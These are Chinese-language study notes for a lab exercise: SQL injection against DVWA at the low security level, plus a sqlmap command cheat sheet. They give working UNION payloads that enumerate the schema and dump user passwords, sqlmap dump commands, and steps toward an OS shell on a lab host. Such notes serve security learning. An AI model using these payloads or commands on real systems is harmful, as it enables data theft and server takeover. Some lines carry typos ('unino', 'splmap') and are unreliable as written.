dvwa Injection-LOW
1' union select 1,(select database()) -- - 查询数据库
1
1 and 1=1#
1 and 1=2#
1' and 1=1#
1’ order by 1 -- - 判断列数
1’ unino select 1,2 -- - 判断显位
正常提交payload为1
Union注入
注入点判断
结论:不是数字型注入。
1' and 1=1#
没有结果返回
结论:字符型注入,单引号闭合
sql语句猜测
First name即回显的First name在数据库中对应的字段,Surname同理
假设表名为users,User ID 对应的字段为id
select First name,Surname from users where id = 'User ID'
字段判断
猜测是2个字段,直接从2开始。
1' order by 2#
再递增
1' order by 3#
返回异常
结论:猜测正确,字段为2
获取数据库名
1' UNION SELECT 1,database() from information_schema.schemata#
结论:数据库名 dvwa
获取表名
1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
结论:有两个表 guestbook、users
获取列名
假设仅对users表感兴趣,其他表只需要把下面的users改为其他即可。
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
结论:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login
获取数据
假设:first_name、last_name已返回,我们对user和avatar感兴趣。对其他的感兴趣下面就缓存其他列。
为了避免分不清各个数据,使用":",即0x3a进行分隔。
1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
1' union select 1,CONCAT_WS('!',user_id,first_name,last_name,user,password,last_login) from users#
splmap 数据库爆破
打开谷歌输入1开启代理
打开BP抓取数据
复制数据到sqlmap文件夹下创建txt
运行sqlmap爆破数据库
python Sqlmap.py -u “网址”
python sqlmap.py -u "网址" --dbs
Sqlmap.py -u “网址” --cookie=” ”
sqlmap.py --is -dba
Sqlmap.py -r 指定文件1.txt post请求以及带cookie请求可以用
Sqlmap.py -r 指定文件1.txt --dbs
dbs所有数据库
sqlmap.py -r 1.txt --tables -D “DVWA” 爆表
sqlmap.py -r l.txt --columns -T users”-D“DVWA” 爆破列数
sqlmap.py -r 1.txt --dump -C“user”-T“users”-D“DVWA “下载user字段
sqlmap.py -r 1.txt --dump -T“users”-D“DVWA “下载users表格
sqlmap.py -r 1.txt --dump -D“DVWA “下载DVWA数据库
sqlmap常用命令:
1. sqlmap -u url:对指定的 URL 进行 SQL 注入测试。
2. sqlmap -r request_file:对指定的 HTTP 请求文件进行 SQL 注入测试。
3. sqlmap -d database_url:对指定的数据库 URL 进行 SQL 注入测试。
4. sqlmap --dbs:列出目标数据库中所有可用的数据库名称。
5. sqlmap -D database_name --tables:列出指定数据库中所有可用的数据表名称。
6. sqlmap -D database_name -T table_name --columns:列出指定数据表中所有可用的列名称。
7. sqlmap -D database_name -T table_name -C column_name --dump:获取指定列中的所有数据。
sqlmap高级命令:
1. sqlmap --threads=num:指定使用的线程数。
2. sqlmap --level=num:指定测试的深度级别。
3. sqlmap --risk=num:指定测试的风险级别。
4. sqlmap --batch:以批处理模式运行 sqlmap。
5. sqlmap --random-agent:使用随机的 User-Agent 头部信息。
6. sqlmap --tor:通过 Tor 网络进行测试。
7. sqlmap --proxy=proxy_url:通过指定代理服务器进行测试。
8. sqlmap --dbms=dbms_name:指定要测试的数据库管理系统类型。
9. sqlmap --os=os_name:指定要测试的操作系统类型。
10. sqlmap --technique=technique_name:指定要使用的 SQL 注入技术。
sqlmap --os-shell 在对方是数据库获得shell进行连接
sqlmap --current -db 查看当前库
sqlmap getshell的条件
- 拥有数据库dba权限为True
- 知道网站的绝对路径
- PHP关闭魔术引号
- secure_file_priv= 值为空
1.查看当前注入点数据库权限是否为dba:True
sqlmap.py -u "http://192.168.139.137/sql/Less-1/?id=1"
2.寻找绝对路径--is-dba
sqlmap.py -u "http://192.168.139.137/sql/Less-1/?id=1" --sql-shell
因为当前数据库权限为ROOT,我使用--sql-shell指令对数据库进行寻找路径之旅
sql-shell> select @@datadir;
通过数据库位置,我们能够做一些简单的判断:
- 他是一个phpStudy搭建的站点
- 可以尝试phpStudy默认目录
- 尝试构造路径:C:\phpStudy\WWW\sql\
常见的找绝对路径方法:
- 网页报错信息
- phpinfo、探针
- 数据库查询、暴力破解
- 参看:常用的绝对路径收集